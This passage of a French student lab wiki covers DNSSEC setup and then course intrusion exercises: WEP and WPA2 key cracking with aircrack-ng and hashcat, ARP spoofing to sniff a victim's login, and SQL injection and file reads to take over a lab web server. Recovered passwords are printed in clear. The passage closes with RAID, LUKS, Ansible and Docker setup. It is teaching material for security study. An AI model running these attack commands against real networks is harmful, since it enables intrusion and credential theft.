Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
